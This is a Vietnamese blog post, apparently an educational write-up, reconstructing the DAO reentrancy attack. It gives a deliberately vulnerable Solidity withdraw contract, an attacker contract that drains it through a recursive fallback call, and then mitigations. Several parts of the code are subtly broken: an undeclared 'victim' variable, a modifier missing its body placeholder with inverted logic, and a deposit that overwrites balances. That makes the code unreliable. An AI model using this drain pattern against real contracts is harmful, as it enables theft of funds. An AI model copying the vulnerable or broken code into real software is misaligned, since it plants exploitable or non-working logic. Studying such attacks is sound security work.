Lỗi bảo mật Reentrancy trong smart contract.

Những ai tìm hiểu nhiều về Ethereum chắc hẳn cũng sẽ biết vụ án nổi tiếng the DAO attack. Attacker đã lợi dụng reentrancy attack để lấy 50tr đô từ smart contract của DAO . Cùng nhau mổ xẻ và dựng nguyên hiện trường nào !

Problem:

Hacker đã sử dụng một contract khác để rút hết ETH trong DAO contract.

How ?

Đầu tiên hacker tạo ra contract mới -> Viết hàm để gọi đến hàm withdraw của DAO contract -> Sử dụng callback function để thực hiện recursive để rút ETH.

Dựng lại hiện trường:
Tạo một contract mới với chức năng deposit / withdraw tương tự :

pragma solidity ^0.4.8;
contract Victim {
  mapping (address => uint) public balances;
  function Victim() payable {
    deposit();
  }
  modifier validAmount(address _address, uint _amount){
     if (balances[_address] >= _amount) throw; 
  }
  function deposit() validAmount payable {
    balances[msg.sender] = msg.value;
  }
  function withdraw() {
    if (!msg.sender.call.value(balances[msg.sender])()) {
      throw;
    }
    balances[msg.sender] = 0;
  }
  function() {
    throw;
  }
}

Tạo ra một contract mới, sử dụng callback function .

pragma solidity ^0.4.8;
import "./Victim.sol";
contract Attacker {
  Attacker public attacker;
  function Attacker (address _victim) {
    victim = Victim(_victim);
  }
  function kill () {
    suicide(msg.sender);
  }
  function collect() payable {
    victim.deposit.value(msg.value)();
    victim.withdraw();
  }
  function () payable {
    if (victim.balance >= msg.value) {
      victim.withdraw();
    }
  }
}

Sau khi deploy với address của victim, attacker sẽ call tới function collect -> trigger tới hàm withdraw của victim -> victim send ETH to attacker.

Khi attacker call tới hàm withdraw trong contract Victim, Victim validate amount của address rồi bắt đầu send ETH cho attacker. Khi nhận được tiền, fallback function của attacker sẽ được triggered, và thực hiện call (recursive call) withdraw lần nữa. Trong fallback function chỉ cần call đến khi balance của victim nhỏ hơn số tiền mình cần rút.

GG, well played ! :D

Solution

  • Cách đơn giản nhất là sử dụng msg.sender.send(ethAmt) thay cho msg.sender.call.value(ethAmt)(). Function này sẽ có limit gas default là 2,300 gas nên khi victim transfer ETH cho attacker bằng recursive call sẽ bị out of gas

  • Tạo Mutex modifier:

    bool locked;
    
    modifier noReentrancy() {
      require(!locked);
      locked = true;
      _;
     locked = false;
    }
    
Bình luận


White
{{ comment.user.name }}
Bỏ hay Hay
{{comment.like_count}}
Male avatar
{{ comment_error }}
Hủy
   

Hiển thị thử

Chỉnh sửa

White

Kayden Le

1 bài viết.
0 người follow
Kipalog
{{userFollowed ? 'Following' : 'Follow'}}
Bài viết liên quan
White
4 0
Lời nói đầu Xin chào các bạn, để tiếp tục loạt bài về blockchain, hôm nay mình xin nói về smart contract và các khái niệm, công cụ xoay quanh Smar...
Lưu Xuân Trọng viết 27 ngày trước
4 0
White
11 5
Tạm xóa
Giaosucan viết 3 tháng trước
11 5
{{like_count}}

kipalog

{{ comment_count }}

bình luận

{{liked ? "Đã kipalog" : "Kipalog"}}


White
{{userFollowed ? 'Following' : 'Follow'}}
1 bài viết.
0 người follow

 Đầu mục bài viết

Vẫn còn nữa! x

Kipalog vẫn còn rất nhiều bài viết hay và chủ đề thú vị chờ bạn khám phá!